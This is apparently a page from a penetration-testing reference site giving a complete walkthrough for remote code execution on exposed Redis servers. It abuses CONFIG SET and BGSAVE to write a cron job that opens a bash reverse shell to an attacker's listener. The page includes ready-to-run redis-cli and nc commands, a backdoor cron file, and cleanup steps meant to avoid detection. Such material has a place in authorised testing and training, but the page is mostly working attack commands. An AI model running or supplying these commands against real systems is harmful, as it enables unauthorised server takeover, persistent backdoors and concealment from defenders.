Skip to content
HackIndex logo

HackIndex

Redis RCE via Cron Job Write

4 min read Mar 14, 2026

Redis can write its in-memory dataset to any file on disk using CONFIG SET dir, CONFIG SET dbfilename, and BGSAVE. On Linux targets, redirect this write to /var/spool/cron/crontabs/root or /etc/cron.d/ to plant a cron job that executes a reverse shell. The technique requires CONFIG access and write permission to the cron directory — typically available when Redis runs as root or when the cron directory is world-writable.

Prerequisites Check

Before attempting, confirm all three conditions:

1 – CONFIG access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a directory path, not an error.

2 – Write permission to /var/spool/cron/crontabs or /etc/cron.d:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/spool/cron/crontabs

If the response is OK, write is possible. If it returns an error, try /etc/cron.d/ instead:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /etc/cron.d

3 – Redis user can write to the target path: This usually requires Redis to be running as root. Check from any existing shell:

┌──(kali㉿kali)-[~]
└─$ ps aux | grep redis

Or infer from a successful CONFIG SET to a root-owned directory.

Step 1 – Record the Original Config

Save the current dir and dbfilename so you can restore them after exploitation:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dbfilename

Step 2 – Stage the Cron Payload

Start your listener:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

Write the cron payload into a Redis key. The newlines around the payload are required — they ensure the cron entry is not corrupted by Redis RDB file headers and footers:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set payload "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\n\n"

Step 3 – Redirect the DB Write to Cron

Point the save path at the cron directory and set the filename to root:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/spool/cron/crontabs
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename root
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

For /etc/cron.d/ (no filename restrictions, any name works):

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /etc/cron.d
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename redis-backdoor
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Confirm the save completed:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 lastsave

The timestamp updates on success.

Step 4 – Wait for Cron Execution

The */1 * * * * schedule fires every minute. Wait up to 60 seconds for your listener to receive the connection.

If it does not fire, verify the cron file was written correctly. From an existing foothold:

┌──(kali㉿kali)-[~]
└─$ cat /var/spool/cron/crontabs/root

The Redis RDB header and footer garbage around the cron entry is normal — crond parses the file and ignores lines it cannot interpret. The valid cron line executes regardless.

Step 5 – Restore Original Config

After receiving your shell, clean up to avoid detection and prevent the server from writing the RDB to the wrong location on the next save:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Replace /var/lib/redis and dump.rdb with the values you recorded in Step 1.

Why This Fails

  • Redis is not running as root and cannot write to cron directories

  • The target is running Ubuntu 16.10+ — Ubuntu hardened cron parsing in newer releases to reject files with non-cron content, which the Redis RDB garbage triggers

  • CONFIG is disabled via the rename-command directive in the Redis config

  • BGSAVE fails because the save path is not writable

If cron write fails, try SSH key injection (https://hackindex.io/services/redis/exploitation/rce-ssh-key) or webshell write (https://hackindex.io/services/redis/exploitation/webshell-write) instead.

References